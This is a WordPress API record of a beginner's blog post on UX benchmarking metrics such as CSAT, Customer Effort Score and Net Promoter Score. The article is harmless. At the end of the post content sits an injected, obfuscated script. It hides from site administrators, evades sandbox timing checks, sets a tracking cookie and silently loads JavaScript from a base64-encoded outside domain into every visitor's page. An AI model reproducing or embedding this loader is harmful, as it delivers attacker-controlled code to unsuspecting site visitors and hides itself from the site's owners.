{"id":621,"date":"2021-08-11T11:00:00","date_gmt":"2021-08-11T11:00:00","guid":{"rendered":"https:\/\/f1studioz.com\/blog\/?p=621"},"modified":"2026-03-03T10:37:59","modified_gmt":"2026-03-03T10:37:59","slug":"benchmarks-of-quality-in-ux-design","status":"publish","type":"post","link":"https:\/\/f1studioz.com\/blog\/benchmarks-of-quality-in-ux-design\/","title":{"rendered":"Benchmarks of Quality in UX Design"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\"><strong>A Beginners Guide.<\/strong><\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/1400\/1*1B4V50fcuFlMjjLsVNaMVQ.png\" alt=\"\"\/><\/figure><\/div>\n\n\n\n<p id=\"c8f1\">So you\u2019ve completed all your designs and handed them to development, and are ready to kick back and start the binge-fest when that damn dreadful question suddenly hits you-&nbsp;<em>\u201cWas my design good enough?\u201d&nbsp;<\/em>and within moments one question spirals into an existential crisis that we all are too familiar with &#8211;&nbsp;<em>\u201cAm I a good designer? Am I just pretending to know what I\u2019m doing? All I\u2019m doing is playing with shapes on the screen\u201d<\/em>. The crippling feeling of impostor syndrome overpowers your binge-fest and stops it even before starting.<\/p>\n\n\n\n<p id=\"be22\">WELL!! Let me stop your overthinking right there. What if I told you there&nbsp;<strong>IS<\/strong>&nbsp;a way to measure the quality of your work and an industry-tested method at that!<\/p>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p><strong><em>\u201cDesign isn\u2019t finished until somebody is using it.\u201d \u2014 Brenda Laurel<\/em><\/strong><\/p><\/blockquote>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Here is a beginner\u2019s guide to understanding Benchmarks of Quality in UX Design!<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/1400\/1*mVAtPKbhRs62jZuxnq_jHQ.png\" alt=\"An illustration of a girl sitting on a sofa with a bowl of popcorn, but with a perplexed expression and thoughts of self doubt surrounding her\"\/><\/figure><\/div>\n\n\n\n<div style=\"height:25px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>First things first, let\u2019s start with understanding&nbsp;<strong><em>what Benchmarking is<\/em><\/strong>&nbsp;and&nbsp;<strong><em>how it helps designers ascertain the quality of their work.<\/em><\/strong><\/p>\n\n\n\n<div style=\"height:25px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"9441\"><strong>What is Benchmarking?<\/strong><\/h2>\n\n\n\n<p id=\"0e63\"><a href=\"https:\/\/asq.org\/quality-resources\/benchmarking\" rel=\"noreferrer noopener\" target=\"_blank\">It is a process that uses various metrics to gauge a design&#8217;s relative performance against a meaningful standard.<\/a>&nbsp;The&nbsp;<strong>\u201cmeaningful standard\u201d<\/strong>&nbsp;here can pertain to an earlier version of the same product, an industry average, or even a competitor.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0a96\"><strong>So How Does Benchmarking Help?<\/strong><\/h2>\n\n\n\n<p id=\"ab55\">It allows designers and stakeholders to track improvements of a product over time and assess if the required progress has been achieved. Most importantly, it can show the design\u2019s impact, be it time-related or fiscal costs.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"c6d7\"><strong>Metrics for Benchmarking<\/strong><\/h2>\n\n\n\n<p id=\"0dad\">There are many metrics for benchmarking. What you end up using for your product may be an amalgamation of various metrics, depending on what\u2019s relevant to your product specifically. In general, there are some common categories that you can refer to, to compute where your product is succeeding and failing.<\/p>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"9bd2\"><strong>The Benchmarking Journey<\/strong><\/h2>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>The measure of new feature acceptability.<\/strong><\/li><\/ul>\n\n\n\n<p id=\"c162\">When a new feature is introduced or an old one is revised, the first metric to measure would be&nbsp;<strong>how well the feature is being accepted<\/strong>. What are the sales and conversion rates since the introduction of the new feature? Have there been more visitors? Has the overall product engagement improved?<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>The measure of user involvement.<\/strong><\/li><\/ul>\n\n\n\n<p id=\"51b7\">The next metric to be measured would be the&nbsp;<strong>level of user involvement<\/strong>&nbsp;while using the product. Is the user putting in a lot of effort to use it? or has the average time on the tasks decreased?<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/1400\/1*SkMpdqlYPupf7oCR9XJmuQ.png\" alt=\"An illustration of the different benchmarks that appear while going through the journey of a product that has been released. The steps are as following- Acceptance of Product, Level of User Involvement, User Happiness, Efficiency of Product, Retention Rate of Product\"\/><\/figure><\/div>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>The measure of user happiness.<\/strong><\/li><\/ul>\n\n\n\n<p id=\"f583\">Once you measure user involvement, you can move on to&nbsp;<strong>user happiness or measuring the user\u2019s perceptions.<\/strong>&nbsp;Are they satisfied with the product and its ease of use? Does the product solve the problem in the long term?<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>The measure of product efficiency.<\/strong><\/li><\/ul>\n\n\n\n<p id=\"7b1e\">The answers to the question of user happiness lead us to the next metric, the&nbsp;<strong>efficiency of the product.<\/strong>&nbsp;What is the error count of the product? Is it as efficient as it was meant to be?<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>The measure of product retention.<\/strong><\/li><\/ul>\n\n\n\n<p id=\"28eb\">Lastly, one would need to measure the&nbsp;<strong>retention rate of the product.<\/strong>&nbsp;Does it bring loyal and returning customers to the company? Has the renewal rate of the product increased?<\/p>\n\n\n\n<p id=\"4a88\">All the points mentioned above are a broad scope of how you can look at your product critically and estimate its quality.<\/p>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p id=\"4b32\"><strong><em>Now, let us look at some of these metrics in detail and study some of the methods used to measure UX quality.<\/em><\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\"><li><strong>Satisfaction rating (CSAT)<\/strong><\/li><\/ol>\n\n\n\n<p id=\"3bcd\">Customer Satisfaction can be measured using a score called the&nbsp;<a href=\"https:\/\/www.getfeedback.com\/resources\/csat\/customer-satisfaction-score-csat-complete-guide\/\" rel=\"noreferrer noopener\" target=\"_blank\">Customer Satisfaction Score (or CSAT).<\/a><\/p>\n\n\n\n<p id=\"72d1\">Customers are asked to choose their level of satisfaction usually on a scale of 1 to 5, 1 being the least satisfied and 5 being the most satisfied. The number of 4 and 5 ratings are added and divided by the total rating received. Which is then multiplied by 100 to get the final Customer Satisfaction Score.<\/p>\n\n\n\n<p id=\"481d\">Many apps like&nbsp;<a href=\"https:\/\/medium.com\/throughdesign\/zomato-swiggy-experience-matters-7ae8811b19d8\">Swiggy, Zomato<\/a>, Uber, etc., calculate this score by asking the customer to rate their service on a scale of 1\u20135 stars.<\/p>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img fetchpriority=\"high\" decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/1400\/1*o0GK35rLFzYUUuRpIRxoMQ.png\" alt=\"Screenshot images from the Uber and Swiggy app which show the rating system once the service is completed.\" width=\"654\" height=\"285\"\/><figcaption>Swiggy asks users to rate the food as well as the service. This helps them gauge customer satisfaction about both food quality as well as customer service.<\/figcaption><\/figure><\/div>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p><em><strong>\u201cAbove all else, align with customers. Win when they win. Win only when they win.\u201d&nbsp;<\/strong>\u2014 Jeff Bezos<\/em><\/p><\/blockquote>\n\n\n\n<p id=\"32b1\"><strong>2. Emotional Rating<\/strong><\/p>\n\n\n\n<p id=\"fd23\">Similar to the CSAT, customers are asked about their&nbsp;<a rel=\"noreferrer noopener\" href=\"https:\/\/uxfactor.wordpress.com\/2017\/10\/14\/how-to-measure-emotion-in-design\/\" target=\"_blank\">feelings while using a product<\/a>. Was it a breezy process or a tiresome one? Was the customer happy or frustrated after completing the task? This is usually done by showing the user a range of emojis that express different emotions and asking the user to choose the relevant emoji.<\/p>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/1400\/1*j_JfwZ5wqpxF5jBXvpUUNQ.png\" alt=\"Example images of how apps ask about your emotional stance on the service or product after you are done using it. The first image shows the question \u201cHow was your ride\u201d followed by a slider where you can choose a sad face, a happy face, or anything in between. The second image shows the interface of a cab app with the question \u201cHow would you rate your driver\u201d and has 3 emojis to depict bad, neutral, and good emotions.\"\/><figcaption>Emotional Rating also helps in user empathy and understanding the user\u2019s feelings better during the time they made use of the product or service.<\/figcaption><\/figure><\/div>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p id=\"83be\"><strong>3. Customer Effort Score (CES)<\/strong><\/p>\n\n\n\n<p id=\"1bf4\"><a rel=\"noreferrer noopener\" href=\"https:\/\/www.qualtrics.com\/au\/experience-management\/customer\/customer-effort-score\/\" target=\"_blank\">The customer effort score measures how easy\/hard it was for the user to perform a particular task.<\/a>&nbsp;It is usually asked in the form of questions like \u201cHow easy was it to buy this product\/use this service on our website today?\u201d<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/1400\/1*N6LgD3sK2xBV-yOpbIe1Ew.png\" alt=\"Example images of different customer effort questions. One of the images has the question \u201cThe company made it easy for me to handle my issues\u201d and the answers range from \u2018Strongly Disagree\u2019 to \u2018Strongly Agree\u2019. The other image is an illustration of gym weights for the user to select how hard or \u2018heavy\u2019 the task was, ranging from 15kg to 1kg dumbells\" width=\"760\" height=\"332\"\/><\/figure><\/div>\n\n\n\n<p><strong><em>\u201cEase of use may be invisible, but its absence sure isn\u2019t.\u201d \u2014 IBM<\/em><\/strong><\/p>\n\n\n\n<p>A metric that is closely related to this one is the&nbsp;<strong>Average Time on Task.<\/strong>&nbsp;This is the measure of how much time a user spends on a task. If the time spent on a task has decreased after redesigning a flow, one can ascertain that the design has had efficacious results. This is a vital metric, especially in the case of a revision of an earlier product.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/990\/1*4qs3wgrS9A07UuJ1-LGdkg.png\" alt=\"The image explains about how to measure the \u2018Time on Task\u2019 metric. The steps are as follows- 1. Establish an average time accepted per task 2. Analyze whether users complete tasks faster and faster 3. Identify what users remember from previous experience\"\/><figcaption>The process of measuring Time on Task.<\/figcaption><\/figure><\/div>\n\n\n\n<p id=\"b1bd\"><strong>4. Net Promoter Score<\/strong><\/p>\n\n\n\n<p id=\"2d8f\">While the customer satisfaction score and the customer effort score measure the customers\u2019 satisfaction and usability,&nbsp;<a rel=\"noreferrer noopener\" href=\"https:\/\/www.netpromoter.com\/know\/\" target=\"_blank\">the Net Promoter Score measures long-term customer loyalty and satisfaction<\/a>. Questions are in the form of \u201cHow likely are you to use this service again\u201d or \u201cHow likely are you to recommend this product based on your experience\u201d.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/1274\/1*JFpSKj0-YPxGBUwj6esevg.png\" alt=\"The image is a screenshot of a survey question from the app \u2018Slack\u2019. The question is an example of \u2018NPS\u2019 and reads- \u201cHow likely are you to recommend Slack to a friend?\u201d and the options range from 0 (not likely) to 10 (most likely)\"\/><\/figure><\/div>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p id=\"26bf\">There are some other metrics that are related to the Net Promoter Score, that would help us determine the long-term success of the product and customer satisfaction.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Renewal rate:<\/strong>&nbsp;This is the rate of renewal of a particular subscription or service. A high renewal rate is indicative of a good value. The company is more likely to maintain customer interest and generate long-term revenue.<\/li><li><strong>Conversion rate:<\/strong>&nbsp;The conversion rate is the percentage of users who take the desired action \u2014 for example, the percentage of website visitors who buy something on an e-commerce site. The more the conversion rate, the more successful the product is.<\/li><li><strong>Error Count:<\/strong>&nbsp;Errors in design are common and anticipated. However, minimizing those errors will evidently improve the user experience and success rate of a product. An iterative approach to design and continuous user testing would help minimize errors.<\/li><\/ul>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/1400\/1*SOQm9frQgLjbjxJHC72dHw.png\" alt=\"The image is an overview of CSAT, CES and NPS. CST is for tracking support quality, CES for making it easier to be a customer, and NPS is for building a loyal customer base\" width=\"803\" height=\"367\"\/><figcaption>An overview of the most important metrics<\/figcaption><\/figure><\/div>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p><strong>\u201c<em>People ignore design that ignores people.\u201d \u2014 Frank Chimero<\/em><\/strong><\/p><\/blockquote>\n\n\n\n<p id=\"4977\">With this overused (but true) design quote, we come to the end of this article \ud83d\ude09&nbsp;<a href=\"https:\/\/www.f1studioz.com\/careers.html\" rel=\"noreferrer noopener\" target=\"_blank\">As an intern who has been in the professional UX domain for only 2 months<\/a>, writing this article taught me a lot about the various metrics of&nbsp;<a href=\"https:\/\/www.f1studioz.com\/\" rel=\"noreferrer noopener\" target=\"_blank\">UX<\/a>&nbsp;that help in determining its overall quality, and I hope you learned at least as much as I did!<\/p>\n\n\n\n<p id=\"6a2a\">Now, what are you still waiting for? Get that binge-fest started!!<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>A Beginners Guide. So you\u2019ve completed all your designs and handed them to development, and are ready to kick back and start the binge-fest when that damn dreadful question suddenly hits you-&nbsp;\u201cWas my design good enough?\u201d&nbsp;and within moments one question spirals into an existential crisis that we all are too familiar with &#8211;&nbsp;\u201cAm I a [&hellip;]<\/p>\n","protected":false},"author":27,"featured_media":1410,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[43],"tags":[],"class_list":["post-621","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ux-design"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/posts\/621","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/users\/27"}],"replies":[{"embeddable":true,"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/comments?post=621"}],"version-history":[{"count":11,"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/posts\/621\/revisions"}],"predecessor-version":[{"id":5328,"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/posts\/621\/revisions\/5328"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/media\/1410"}],"wp:attachment":[{"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/media?parent=621"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/categories?post=621"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/tags?post=621"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}